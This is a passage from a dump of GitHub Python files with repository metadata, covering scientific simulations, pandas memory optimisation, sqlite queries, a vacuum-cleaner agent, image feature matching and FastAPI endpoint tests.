very_long)\n\n","repo_name":"jhogsett/linkit","sub_path":"python/tones.py","file_name":"tones.py","file_ext":"py","file_size_in_byte":2343,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"33152294815","text":"# ---------------------------------------------------- task_binaries.py -----------------------------------------------------\n# Author: Alexey Latyshev --------------------------------------------------------------------------------------------\n# This file contains code to generate binaries from existing single stars\n# ====================================================================================================================\nimport numpy as np\nimport pyfits as pf\n\nfrom display import displayImage\nfrom sim import simBinary\nfrom sim import imageToFits\n\nimport datetime\n\nddir='/import/pendragon1/latyshev/Data/KerPhases/'\nin_dir='outputs/frozen_noiseless500/PSF/'\nout_dir='outputs/frozen_noiseless500/PSF/binaries/'\nin_file='golay9_scale50_0.6.fits'\nout_file='golay9_0.6_scale50_frozen_s135_c5_a0_500.fits'\n\n\npupilSize=8.0\t\t# pupil diameter in meters (NB: MUST be smaller than phasescreen)\nplateScale=27.0\t\t# plate scale (mas/pixel)\nscale=100.0\t\t\t# scale factor (pixels/m)\nwl=2.6e-6\t\t\t#base wavelength\n\n#chip_px=1038\t\t# number of elements per chip (1dim) (scaled to work correctly with kPhases code)\n\nexp_time=0.0\t\t# exposure time in seconds\n\t\nstrehl=0.6\ncontrast=5.\nsepPx=5 # approx 2 lambda/D\nangle=0.\n\n\n'''\nim=pf.getdata(ddir+in_dir+in_file)\nim1=np.zeros(np.shape(im))\nfor i in range(0,im.shape[0]) :\n\tim1[i]=simBinary(im[i], c=contrast, sep=sepPx, ang=angle, lambdaD=0., pscale=0., forceInt=True)\n\ndt=datetime.datetime.now()\nimageToFits(im1,path=ddir+out_dir,filename=out_file,\n tel='simu',pscale=plateScale,odate=dt.strftime(\"%b %d, %Y\"), otime=dt.strftime(\"%H:%M:%S.%f\"),\n\t\ttint=exp_time,filter=wl)\n'''\n\n#for s in ['no_ao',0.01'','0.02','0.05','0.1','0.2','0.4','0.6'] :\nfor s in ['0.02','0.05','0.1','0.2','0.4','0.6','0.8','0.9'] :\n\tin_file='full_hex15_'+s+'.fits'\n\tout_file='full_hex15_frozen_'+s+'_s135_c5_a0_7000.fits'\t\n\tim=pf.getdata(ddir+in_dir+in_file)\n\tim1=np.zeros(np.shape(im))\n\tfor i in range(0,im.shape[0]) :\n\t\tim1[i]=simBinary(im[i], c=contrast, sep=sepPx, ang=angle, lambdaD=0., pscale=0., forceInt=True)\n\tdt=datetime.datetime.now()\n\timageToFits(im1,path=ddir+out_dir,filename=out_file,\n tel='simu',pscale=plateScale,odate=dt.strftime(\"%b %d, %Y\"), otime=dt.strftime(\"%H:%M:%S.%f\"),\n\t\ttint=exp_time,filter=wl)\n\t\t\ndata=[]\ndata.append(('full_hex15','full_hex15','full_hex15_scale50','full_hex15_scale50'))\ndata.append(('ann_hex15','ann_hex15','ann_hex15_scale50','ann_hex15_scale50'))\ndata.append(('ann_hex15_w05','ann_hex15_w05','ann_hex15_w05_scale50','ann_hex15_w05_scale50'))\ndata.append(('golay9','golay9','golay9_scale50','golay9_scale50'))\n# lines in data array to analyse\nactive = range(0,len(data))\t\n\nfor s in ['no_ao','0.05','0.1','0.2','0.4','0.6','0.8','0.9'] :\n\tfor num in active :\n\t\tin_file=data[num][3]+'_'+s+'.fits'\n\t\tout_file=data[num][3]+'_'+s+'_s135_c5_a0_500.fits'\n\t\tprint(in_file)\n\t\tim=pf.getdata(ddir+in_dir+in_file)\n\t\tim1=np.zeros(np.shape(im))\n\t\tfor i in range(0,im.shape[0]) :\n\t\t\tim1[i]=simBinary(im[i], c=contrast, sep=sepPx, ang=angle, lambdaD=0., pscale=0., forceInt=True)\n\t\tdt=datetime.datetime.now()\n\t\timageToFits(im1,path=ddir+out_dir,filename=out_file,\n\t\t\t\ttel='simu',pscale=plateScale,odate=dt.strftime(\"%b %d, %Y\"), otime=dt.strftime(\"%H:%M:%S.%f\"),\n\t\t\t\ttint=exp_time,filter=wl)\n","repo_name":"benjaminpope/pysco","sub_path":"Seeing/task_binaries.py","file_name":"task_binaries.py","file_ext":"py","file_size_in_byte":3264,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"9248204134","text":"import sqlite3 as conector\nfrom ModeloQueries import Veiculo, Marca\n\nconexao = conector.connect(\"./meu_banco.db\")\ncursor = conexao.cursor()\n\n\ncomando = '''SELECT * FROM\n Veiculo JOIN Marca ON Marca.id=Veiculo.marca;'''\n\ncursor.execute(comando)\nregistros = cursor.fetchall()\n\nfor registro in registros:\n print(registro)\n marca = Marca(*registro[7:]) # insere apenas os valores do indice 7 em diante, pois o JOIN foi feito assim: (veiculo.1, veiculo.2, veiculo.3, veiculo.4, veicul.5, veiculo.6, marca.7, marca.8, marca.9)\n veiculo = Veiculo(*registro[:5], marca) # insere até o índice 5 dos valores do registro, o ultimo indice preenche com um objeto do tipo marca.\n print(\"Placa :\", veiculo.placa, \"Marca:\", veiculo.marca.nome)\n\n\n\nif conexao:\n cursor.close()\n conexao.close()","repo_name":"igoradriano/manipulacao-dados-python-bd","sub_path":"cap-3/18-select-join-on-com-atributo-do-objeto.py","file_name":"18-select-join-on-com-atributo-do-objeto.py","file_ext":"py","file_size_in_byte":811,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71426961320","text":"# This Python 3 environment comes with many helpful analytics libraries installed\n\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n\n# For example, here's several helpful packages to load in \n\n\n\nimport numpy as np # linear algebra\n\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\n\nfrom time import time # code performance benchmark\n\n# Input data files are available in the \"../input/\" directory.\n\n# For example, running this (by clicking run or pressing Shift+Enter) will list the files in the input directory\n\n\n\nfrom subprocess import check_output\n\nprint(check_output([\"ls\", \"../input\"]).decode(\"utf8\"))\n\n\n\n\n\n# Any results you write to the current directory are saved as output.\n# variables used in all parts\n\nuserfile = '../input/user_logs.csv'\n\nchuncksize = 2*10**6 #a chuncksize of 2M rows as a starting point\n\nchuncknumbers_max = 20 # we will not read all the file, only 20 chuncks, enough for the demonstration\n\nchunck_number = 0\n\nuser_df = pd.DataFrame()\n\nt = time()\n\nfor df in pd.read_csv(userfile, chunksize=chuncksize, iterator=True, header=0):\n\n user_df = user_df.append(df, ignore_index=True)\n\n chunck_number += 1\n\n if chunck_number == chuncknumbers_max :\n\n break\n\nINITIAL_TIME = int(time()-t)\n\nprint('done in '+ str(INITIAL_TIME)+'s')\n\n\n\nprint('memory usage (MB) : ')\n\nINITIAL_MEM = int(user_df.memory_usage(deep=True).sum()/1024**2)\n\nprint(INITIAL_MEM)\n\nprint('dataframe details')\n\nprint(user_df.info(memory_usage='deep'))\nchunck_number = 0\n\nuser_df = None\n\nlist_of_df = []\n\nt = time()\n\nfor df in pd.read_csv(userfile, chunksize=chuncksize, iterator=True, header=0):\n\n # this is a list().append function which is called here, not a Dataframe.append function\n\n list_of_df.append(df)\n\n chunck_number += 1\n\n if chunck_number == chuncknumbers_max :\n\n break\n\nuser_df = pd.concat(list_of_df, ignore_index=True)\n\n# we don't need this list anymore so we suppress it (since it has almost the same size as the obtained dataframe )\n\ndel list_of_df\n\ncurrent_time = int(time()-t)\n\nprint('done in '+ str(current_time)+'s')\n\nprint('performance increase : '+ str(int(100*(1-current_time/INITIAL_TIME))) + '%')\n\nprint('memory usage (MB) : ')\n\ncurrent_mem = int(user_df.memory_usage(deep=True).sum()/1024**2)\n\nprint(current_mem)\n\n# specify dtype associated with each columns of the csv, string dtype correspond also to object dtype\n\ndtype_cols = {'msno': object, 'date':np.int64, 'num_25': np.int32, 'num_50': np.int32, \n\n 'num_75': np.int32, 'num_985': np.int32, 'num_100': np.int32, \n\n 'num_unq': np.int32, 'total_secs': np.float32}\n\nuser_df = None\n\nchunck_number = 0\n\nlist_of_df = []\n\nt = time()\n\nfor df in pd.read_csv(userfile, chunksize=chuncksize, iterator=True, header=0, dtype=dtype_cols):\n\n list_of_df.append(df)\n\n chunck_number += 1\n\n if chunck_number == chuncknumbers_max :\n\n break\n\nuser_df = pd.concat(list_of_df, ignore_index=True)\n\nprint('done in '+ str(int(time()-t))+'s')\n\nprint('memory usage (MB) : ')\n\ncurrent_mem = int(user_df.memory_usage(deep=True).sum()/1024**2)\n\nprint(current_mem)\n\ngain = int(100*(1-current_mem/INITIAL_MEM))\n\nprint('gain :' + str(gain) + '%')\nprint('memory usage (MB) : ')\n\nuser_df.memory_usage(deep=True)/1024**2\nprint('different msno numbers :')\n\nprint(len(user_df.msno.unique()))\n\nprint('ratio of unique msno :')\n\nprint(str(100*len(user_df.msno.unique())/user_df.shape[0])+'%')\nuser_df['msno'] = user_df['msno'].astype('category')\n\nprint(user_df.info(memory_usage='deep'))\n\ncurrent_mem = int(user_df.memory_usage(deep=True).sum()/1024**2)\n\nprint(current_mem)\n\ngain = int(100*(1-current_mem/INITIAL_MEM))\n\nprint('gain :' + str(gain) + '%')\nfrom datetime import datetime as dt\n\nSTARTDATE = dt(2015, 1, 1)\n\ndef intdate_as_days(intdate):\n\n return (dt.strptime(str(intdate), '%Y%m%d') - STARTDATE).days\n# remark you need to use pandas > 0.19.1 to be able to use category dtype here \n\ndtype_cols = {'msno': 'category', 'date':np.int64, 'num_25': np.int32, 'num_50': np.int32, \n\n 'num_75': np.int32, 'num_985': np.int32, 'num_100': np.int32, \n\n 'num_unq': np.int32, 'total_secs': np.float32}\n\nuser_df = None\n\nchunck_number = 0\n\nlist_of_df = []\n\nt = time()\n\nfor df in pd.read_csv(userfile, chunksize=chuncksize, iterator=True, header=0, dtype=dtype_cols):\n\n df['date'] = df['date'].map(lambda x:intdate_as_days(x))\n\n df['date'] = df['date'].astype(np.int16)\n\n list_of_df.append(df)\n\n chunck_number += 1\n\n if chunck_number == chuncknumbers_max :\n\n break\n\nuser_df = pd.concat(list_of_df, ignore_index=True)\n\n# if you use pandas<0.19, uncomment next line\n\n# user_df['msno'] = user_df['msno'].astype('category')\n\nprint('done in '+ str(int(time()-t))+'s')\n\nprint('memory usage (MB) : ')\n\ncurrent_mem = int(user_df.memory_usage(deep=True).sum()/1024**2)\n\nprint(current_mem)\n\ngain = int(100*(1-current_mem/INITIAL_MEM))\n\nprint('gain :' + str(gain) + '%')\nprint(user_df.info(memory_usage='deep'))\ndtype_cols = {'msno': object, 'date':np.int64, 'num_25': np.int32, 'num_50': np.int32, \n\n 'num_75': np.int32, 'num_985': np.int32, 'num_100': np.int32, \n\n 'num_unq': np.int32, 'total_secs': np.float32}\n\nuser_df = None\n\n\n\n# loading train.csv into another dataframe\n\ntrain_df = pd.read_csv('../input/train.csv', dtype={'msno': object, 'is_churn': np.int8})\n\n\n\n# we compute only unique values of msno, just in case....\n\ncols_msno = train_df['msno'].unique()\n\n\n\nchunck_number = 0\n\nlist_of_df = []\n\nt = time()\n\nfor df in pd.read_csv(userfile, chunksize=chuncksize, iterator=True, header=0, dtype=dtype_cols):\n\n # addition to previous script, we will look only to dataframe's msno which are present in train_df\n\n # only save msno which are already in train_df, \n\n append_cond = df['msno'].isin(cols_msno)\n\n df = df[append_cond]\n\n \n\n # as previously...\n\n df['date'] = df['date'].map(lambda x:intdate_as_days(x))\n\n df['date'] = df['date'].astype(np.int16) \n\n list_of_df.append(df)\n\n chunck_number += 1\n\n if chunck_number == chuncknumbers_max :\n\n break\n\nuser_df = pd.concat(list_of_df, ignore_index=True)\n\nuser_df['msno'] = user_df['msno'].astype('category')\n\nprint('done in '+ str(int(time()-t))+'s')\n\ncurrent_mem = int(user_df.memory_usage(deep=True).sum()/1024**2)\n\nprint('memory usage (MB) : ' + str(current_mem))\n\ntrain_df = pd.read_csv('../input/train.csv', dtype={'msno': object, 'is_churn': np.int8})\nprint('Memory associated with train_df (MB): ')\n\nTRAIN_INIT_MEM = int(train_df.memory_usage(deep=True).sum()/1024**2)\n\nprint(TRAIN_INIT_MEM)\ntrain_df['msno'] = train_df['msno'].astype('category')\n\nprint('Memory associated with train_df (MB): ')\n\nprint(int(train_df.memory_usage(deep=True).sum()/1024**2))\nprint('different msno numbers in train :')\n\nprint(len(train_df.msno.unique()))\n\nprint('ratio of unique msno in train:')\n\nprint(str(100*len(train_df.msno.unique())/train_df.shape[0])+'%')\n# generate the hash dict\n\nhashkey = {}\n\nindex = 0\n\nmsno_list = train_df['msno'].values\n\nfor msno_idx in range(0, len(msno_list)):\n\n msno = msno_list[msno_idx]\n\n hashkey.update({msno : '{:09x}'.format(msno_idx)})\n\n# this dict can be saved to a csv file to use it after...\n\ncsv_key_file = 'hashkey.csv'\n\nwith open(csv_key_file, 'w') as f:\n\n f.write('msno,hexid\\n')\n\n for k,v in hashkey.items():\n\n f.write('{0},{1}\\n'.format(k,v))\n\n \n\n# if you want to get back msno from dict, generate the 'inverse' dict this way\n\nhashkey_reverse = {}\n\nfor k,v in hashkey.items(): hashkey_reverse.update({v:k})\n\n\n\n# apply this hash to train_df\n\ntrain_df['msno'] = train_df['msno'].map(lambda x:hashkey.get(x,x))\n\ntrain_df['msno'] = train_df['msno'].astype('str')\n\nprint('Memory associated with train_df (MB): ')\n\ncurrent_mem = int(train_df.memory_usage(deep=True).sum()/1024**2)\n\nprint(current_mem)\n\nprint('Reduction of (%)')\n\nprint(100*(1-current_mem/TRAIN_INIT_MEM))\nuser_df['msno'] = user_df['msno'].map(lambda x:hashkey.get(x,x))\n\nuser_df['msno'] = user_df['msno'].astype('category')\n\n#user_df['msno'] = user_df['msno'].astype('category')\n\nprint('Memory associated with final version of user_df (MB): ')\n\ncurrent_mem = int(user_df.memory_usage(deep=True).sum()/1024**2)\n\nprint('Reduction of (%)')\n\nprint(100*(1-current_mem/INITIAL_MEM))","repo_name":"aorursy/new-nb-3","sub_path":"guiyom_user-logs-csv-reduce-memory-with-new-tips.py","file_name":"guiyom_user-logs-csv-reduce-memory-with-new-tips.py","file_ext":"py","file_size_in_byte":8321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"17308982809","text":"from pyoptics.luminosity.archive.beam import *\n\n\nb=Beam(N=2e11,alpha=12.27/2,nb=2808,betx=0.15,bety=0.15,emit_n=2.5e-6,sigma_z=0.075)\n\nb.luminosity()\n\n\nb=Beam(N=2.5e11,alpha=6.5,nb=2808,betx=0.55,bety=0.55,emit_n=3.75e-6,sigma_z=0.0755)\nb.luminosity(debug=True)\nb.lumi_solve(5e38,'N')\n\n","repo_name":"rdemaria/pyoptics","sub_path":"pyoptics/luminosity/archive/analysis.py","file_name":"analysis.py","file_ext":"py","file_size_in_byte":286,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"18"} +{"seq_id":"12320773320","text":"import torch\nimport pickle\nimport random\nimport math\nimport numpy as np\nfrom util.config import ROIData\nimport nibabel as nib\nfrom data.subject import Subject\nfrom pathlib import Path\nfrom argparse import ArgumentParser\n\n\ndef calc_roi():\n \"\"\"Load Amygdala ROI matrix, and calculate real voxels and cubic range in each dimension\"\"\"\n img = nib.load(f'RAmyg.nii')\n roi = np.where(np.array(img.dataobj))\n amyg_vox = [vox for vox in zip(*roi)]\n min_sizes = map(min, roi)\n max_sizes = map(max, roi)\n h, w, d = list(map(lambda small, big: list(range(small, big + 1)), min_sizes, max_sizes))\n\n return ROIData(amyg_vox, h, w, d)\n\n\ndef find_nearest_scan(scan, bold_mat):\n min_dist = math.inf\n min_dist_idx = -1\n for i in range(bold_mat.shape[-1]):\n curr_dist = torch.sum(((bold_mat[:,:,:,i] - scan)**2).reshape(scan.shape[0] * scan.shape[1] * scan.shape[2]))\n if curr_dist < min_dist:\n min_dist = curr_dist\n min_dist_idx = i\n return min_dist_idx\n\n\nif __name__ == '__main__':\n\n parser = ArgumentParser()\n\n parser.add_argument('--n_subjects', type=int)\n args = parser.parse_args()\n\n\n\n roi_path = Path('roi_dict.pkl')\n if roi_path.exists():\n roi_dict = pickle.load(open(str(roi_path), 'rb'))\n else:\n roi_dict = calc_roi()\n pickle.dump(roi_dict, open('roi_dict.pkl', 'wb'))\n Subject.voxels_md = roi_dict\n sub_to_md = {}\n regulate_times = [list(range(18)), list(range(18, 36))]\n for i in range(args.n_subjects):\n bold_mat = np.random.rand(91, 109, 91, 36)\n sub = Subject(regulate_times, bold_mat, 'healthy', str(i))\n indices_list = []\n for j in range(sub.paired_windows[0].full_brain_window.bold.shape[-1]):\n x0 = sub.paired_windows[0].full_brain_window.bold[:,:,:,j]\n idx_1 = find_nearest_scan(x0, sub.paired_windows[1].full_brain_window.bold)\n indices_list.append((j, idx_1))\n sub.indices_list = indices_list\n\n pickle.dump(sub, open(f'data/healthy/sub_{i}.pkl', 'wb'))\n sub_to_md[str(i)] = {'age': random.randint(15, 80), 'TAS1': random.random() * 100, 'STAI_S1': random.random() * 100}\n\n pickle.dump(sub_to_md, open(f'data/sub_to_md_healthy.pkl', 'wb'))\n","repo_name":"MICCAI22/fmri_nf","sub_path":"create_mock_data.py","file_name":"create_mock_data.py","file_ext":"py","file_size_in_byte":2142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"20863686082","text":"import numpy as np\n\n# fancy indexing\na1 = np.array([2, 60, 80, 4, 6, 8, 2, 90, 10])\nl1 = [4, 5, 6, 1, 3]\nprint(a1[l1])\n# broadcasting:add a3 to each element respectively\na3 = np.array([1, 2, 3])\na4 = np.array([[4, 5, 6], [6, 7, 8], [3, 5, 7]])\na5 = [6]\nprint(a3 + a4)\nprint(a4 + a5)\n","repo_name":"PuspaKamalOli/numpy-in-python","sub_path":"fancy indexing and broadcasting.py","file_name":"fancy indexing and broadcasting.py","file_ext":"py","file_size_in_byte":283,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"74337341799","text":"import cv2\nimport numpy as np\nimport random\n\nimage = cv2.imread('image.jpg')\nimage_rot = cv2.imread('image_rot.jpg')\ngray= cv2.cvtColor(image,cv2.COLOR_BGR2GRAY)\ngray_rot = cv2.cvtColor(image_rot,cv2.COLOR_BGR2GRAY)\n\nsurf = cv2.xfeatures2d.SURF_create()\n\nkp, desc = surf.detectAndCompute(gray,None)\nkp_rot, desc_rot = surf.detectAndCompute(gray_rot, None)\n\n# BFMatcher with default params\nbf = cv2.BFMatcher()\nmatches = bf.knnMatch(desc,desc_rot, k=2)\n\n# Apply ratio test\ngood = []\nfor m,n in matches:\n if m.distance < 0.4*n.distance:\n good.append([m])\nrandom.shuffle(good)\n\n# cv2.drawMatchesKnn expects list of lists as matches.\nimage_match = cv2.drawMatchesKnn(image,kp,image_rot,kp_rot,good[:10],flags=2, outImg=None)\n\ncv2.imwrite('surf_matches.jpg',image_match)\n","repo_name":"PacktPublishing/Computer-Vision-with-Python-3","sub_path":"Chapter10/codes/sift.py","file_name":"sift.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"18"} +{"seq_id":"22846516","text":"\"\"\"\nhttps://open.kattis.com/problems/inflation\nAuthor: https://github.com/smh997/\n\"\"\"\nn = int(input())\nli = list(map(int, input().split()))\nli.sort()\nmi = 2\nfor i in range(n):\n if li[i] > i+1:\n print('impossible')\n exit(0)\n mi = min(mi, li[i]/(i+1))\nprint(mi)","repo_name":"smh997/Problem-Solving","sub_path":"Online Judges/Kattis/inflation.py","file_name":"inflation.py","file_ext":"py","file_size_in_byte":279,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"18"} +{"seq_id":"74489855081","text":"from pessoa import Pessoa\n\np2 = Pessoa('luiz', 18)\n\np2.teste()\n'''\np2.comer('banana')\np2.parar_comer()\np2.comer('banana')\n'''\np2.falar('BBB')\nprint(Pessoa.ano_atual)\n\np1 = Pessoa.por_ano_nascimento('luiz',1999)\nprint(p1.idade)\nprint(p1.gera_id())\n#print(p1.ano_atual) eu tbm posso acessar varial de classe pela instancia\nprint(p1.__dict__)#ele me mostra os dados do objeto em forma de dicionario\n\nclass Produto:\n def __init__(self,nome,preco):\n self.nome = nome\n self.preco = preco\n\n def desconto(self, percentual):\n self.preco = self.preco - (self.preco * (percentual / 100))\n\n @property\n #getter\n def nome(self):\n return self._nome\n\n #setter\n @nome.setter\n def nome(self, valor):\n self._nome = valor.upper()\n\n #utilizar os getter para pegar um valor e o setter para configurar esse valor, para que eu n receba string no preco\n #getter\n @property\n def preco(self):\n return self._preco\n\n #setter, na hora que a instancia é criada o setter já salva com o valor certo\n @preco.setter\n def preco(self, valor):#o valor no caso seria a string\n if isinstance(valor, str):#to pergundo se valor e uma instancia de string, uma classe string\n valor = float(valor.replace('R$',''))\n\n self._preco = valor\n\n\n\n'''\nprod1 = Produto('blusa',100)\nprod1.desconto(10)\nprint(prod1.preco)\n'''\nprod2 = Produto('blusa','R$100')\nprod2.desconto(10)\nprint(prod2.nome,prod2.preco)\nprint(prod2.__dict__)\n","repo_name":"geovanne97/euler_questions","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1488,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"42800923903","text":"import pytest\nfrom app import schemas\n\n\ndef test_get_all_tasks(authorized_client, test_tasks):\n res = authorized_client.get(\"/tasks/\")\n\n def validate(task):\n return schemas.Task(**task)\n\n tasks_map = map(validate, res.json())\n tasks_list = list(tasks_map)\n\n assert len(res.json()) == len(test_tasks)\n assert res.status_code == 200\n\n\ndef test_unauthorized_user_get_all_tasks(client, test_tasks):\n res = client.get(\"/tasks/\")\n assert res.status_code == 401\n\n\ndef test_unauthorized_user_get_one_task(client, test_tasks):\n res = client.get(f\"/tasks/{test_tasks[0].id}\")\n assert res.status_code == 401\n\n\ndef test_get_one_task_not_exist(authorized_client, test_tasks):\n res = authorized_client.get(f\"/tasks/88888\")\n assert res.status_code == 404\n\n\ndef test_get_one_post(authorized_client, test_tasks):\n res = authorized_client.get(f\"/tasks/{test_tasks[0].id}\")\n task = schemas.Task(**res.json())\n assert task.id == test_tasks[0].id\n assert task.content == test_tasks[0].content\n assert task.title == test_tasks[0].title\n\n\n@pytest.mark.parametrize(\"title, content, published\", [\n (\"awesome new title\", \"awesome new content\", True),\n (\"favorite pizza\", \"i love pepperoni\", False),\n (\"tallest skyscrapers\", \"wahoo\", True),\n])\ndef test_create_task(authorized_client, test_user, test_tasks, title, content, published):\n res = authorized_client.post(\n \"/tasks/\", json={\"title\": title, \"content\": content, \"published\": published})\n\n created_task = schemas.Task(**res.json())\n assert res.status_code == 201\n assert created_task.title == title\n assert created_task.content == content\n assert created_task.published == published\n assert created_task.owner_id == test_user['id']\n\n\ndef test_create_task_default_published_true(authorized_client, test_user, test_tasks):\n res = authorized_client.post(\n \"/tasks/\", json={\"title\": \"arbitrary title\", \"content\": \"aasdfjasdf\"})\n\n created_task = schemas.Task(**res.json())\n assert res.status_code == 201\n assert created_task.title == \"arbitrary title\"\n assert created_task.content == \"aasdfjasdf\"\n assert created_task.published == True\n assert created_task.owner_id == test_user['id']\n\n\ndef test_unauthorized_user_create_task(client, test_user, test_tasks):\n res = client.post(\n \"/tasks/\", json={\"title\": \"arbitrary title\", \"content\": \"aasdfjasdf\"})\n assert res.status_code == 401\n\n\ndef test_unauthorized_user_delete_task(client, test_user, test_tasks):\n res = client.delete(\n f\"/tasks/{test_tasks[0].id}\")\n assert res.status_code == 401\n\n\ndef test_delete_task_success(authorized_client, test_user, test_tasks):\n res = authorized_client.delete(\n f\"/tasks/{test_tasks[0].id}\")\n\n assert res.status_code == 204\n\n\ndef test_delete_task_non_exist(authorized_client, test_user, test_tasks):\n res = authorized_client.delete(\n f\"/tasks/8000000\")\n\n assert res.status_code == 404\n\n\ndef test_delete_other_user_task(authorized_client, test_user, test_tasks):\n res = authorized_client.delete(\n f\"/tasks/{test_tasks[3].id}\")\n assert res.status_code == 403\n\n\ndef test_update_task(authorized_client, test_user, test_tasks):\n data = {\n \"title\": \"updated title\",\n \"content\": \"updatd content\",\n \"id\": test_tasks[0].id\n\n }\n res = authorized_client.put(f\"/tasks/{test_tasks[0].id}\", json=data)\n updated_task = schemas.Task(**res.json())\n assert res.status_code == 200\n assert updated_task.title == data['title']\n assert updated_task.content == data['content']\n\n\ndef test_update_other_user_task(authorized_client, test_user, test_user2, test_tasks):\n data = {\n \"title\": \"updated title\",\n \"content\": \"updatd content\",\n \"id\": test_tasks[3].id\n\n }\n res = authorized_client.put(f\"/tasks/{test_tasks[3].id}\", json=data)\n assert res.status_code == 403\n\n\ndef test_unauthorized_user_update_task(client, test_user, test_tasks):\n res = client.put(\n f\"/tasks/{test_tasks[0].id}\")\n assert res.status_code == 401\n\n\ndef test_update_task_non_exist(authorized_client, test_user, test_tasks):\n data = {\n \"title\": \"updated title\",\n \"content\": \"updatd content\",\n \"id\": test_tasks[3].id\n\n }\n res = authorized_client.put(\n f\"/tasks/8000000\", json=data)\n\n assert res.status_code == 404\n","repo_name":"nearbad/fastapi_project","sub_path":"tests/test_tasks.py","file_name":"test_tasks.py","file_ext":"py","file_size_in_byte":4382,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"28782664024","text":"#Alunos: Amanda Constante, Karoline Custodio, Vitor Baptista e Jonas Schuh\n\n#Responda: E para um mundo 6 x 6? Explique sua resposta.\n#No momento nao, por que a matriz e a analise do ambiente nao criada de forma fixa.\n\n# o cinza eh a sujeira e o preto eh o limpo\n#o verde sao as paredes\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport random\n\n#Matriz inicial limpa com as paredes\nmatriz = np.array([[1,1,1,1,1,1],\n [1,0,0,0,0,1],\n [1,0,0,0,0,1],\n [1,0,0,0,0,1],\n [1,0,0,0,0,1],\n [1,1,1,1,1,1]\n ])\n\n# Função que exibe o ambiente na tela\ndef exibir(I): \n global posAPAx\n global posAPAy\n # Altera o esquema de cores do ambiente\n plt.imshow(I, 'gray')\n plt.nipy_spectral() \n #plt.plot([posAPAy],[posAPAx], marker='o', color='r', ls='')\n plt.show(block=False)\n # Pausa a execucao do codigo por 0.5 segundos para facilitar a visualizacao\n plt.pause(1) \n plt.clf()\n \n#funcao que constroi o ambiente \n#Percorre a matriz exluindo os extremos que sao 1 e insere as sujeiras aleatoriamente \ndef construirAmbiente():\n for linha in range(6):\n for coluna in range(6):\n if (linha >= 1 and coluna >= 1) and (linha < 5 and coluna < 5):\n limpoOuSujo = random.randint(0, 2)\n if limpoOuSujo == 1:\n matriz[linha][coluna] = 0\n else:\n matriz[linha][coluna] = limpoOuSujo \n \n\ndef imprimir(linha, coluna):\n plt.plot([linha],[coluna], marker='o', color='r', ls='')\n exibir(matriz)\n\n#Verifica qual direcao ele vai\ndef agenteReativoSimples(linha, coluna):\n\n imprimir(coluna, linha)\n if matriz[linha][coluna] == 2:\n matriz[linha][coluna] = 0\n return \"aspirar\"\n else:\n if coluna == 1:\n print(\"Estado da percepcao:0 Acao escolhida: abaixo\")\n return \"abaixo\"\n if (linha == 4 or linha ==2) and coluna!=4:\n print(\"Estado da percepcao:0 Acao escolhida: direita\")\n return \"direita\"\n if coluna == 1 or (linha==2 and coluna==2) or (linha==3 and coluna==2) or (linha==4 and coluna==4) or (linha==2 and coluna==4):\n print(\"Estado da percepcao:0 Acao escolhida: acima\")\n return \"acima\"\n if linha == 3 or linha == 1:\n print(\"Estado da percepcao:0 Acao escolhida: esquerda\")\n return \"esquerda\"\n\n#Define o caminho padrao para o robo no tabuleiro\ndef mapeamento(): \n agenteReativoSimples(1, 1)\n agenteReativoSimples(2, 1)\n agenteReativoSimples(3, 1)\n agenteReativoSimples(4, 1)\n \n agenteReativoSimples(4, 2)\n agenteReativoSimples(4, 3)\n agenteReativoSimples(4, 4)\n \n agenteReativoSimples(3, 4)\n agenteReativoSimples(3, 3)\n agenteReativoSimples(3, 2)\n \n agenteReativoSimples(2, 2)\n agenteReativoSimples(2, 3)\n agenteReativoSimples(2, 4)\n \n agenteReativoSimples(1, 4)\n agenteReativoSimples(1, 3)\n agenteReativoSimples(1, 2)\n agenteReativoSimples(1, 1)\n\nprint(matriz)\nconstruirAmbiente()\nprint(matriz)\nexibir(matriz)\nmapeamento()\n","repo_name":"amandadetofol/ia","sub_path":"Simple Agent - Vacuum cleaner.py","file_name":"Simple Agent - Vacuum cleaner.py","file_ext":"py","file_size_in_byte":3045,"program_lang":"python","lang":"pt","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"38818755427","text":"from flask.json import dumps, jsonify\nfrom sima_web_api.api.product.models import Product\nfrom sima_web_api.api.sale.models import Sale, SaleList\nfrom sima_web_api.api.stock.models import Stock\nfrom collections import Counter\n\ndef compute_total_buying_price(stock_list):\n data = {\"total_buying_price\": 0}\n for stock in stock_list.stocks:\n data[\"total_buying_price\"] += stock.buying_price\n return data\n\n\ndef compute_total_selling_price(sale_list):\n data = {\"total_selling_price\": 0}\n for sale in sale_list.sales:\n data[\"total_selling_price\"] += sale.selling_price\n return data\n\n\ndef compute_total_quantity_stocklist(stock_list):\n data = {\"total_quantity\": 0}\n for stock in stock_list.stocks:\n data[\"total_quantity\"] += stock.quantity\n return data\n\n\ndef compute_total_quantity_salelist(sale_list):\n data = {\"total_quantity\": 0}\n for sale in sale_list.sales:\n data[\"total_quantity\"] += sale.quantity\n return data\n\n\n# Data for report generated\ndef report_compute_sales_for_product(product_id):\n product_sales = Sale.query.filter_by(product_id=product_id)\n total_sales = 0\n total_quantity = 0\n for sale in product_sales:\n total_sales += sale.selling_price\n total_quantity += sale.quantity\n return 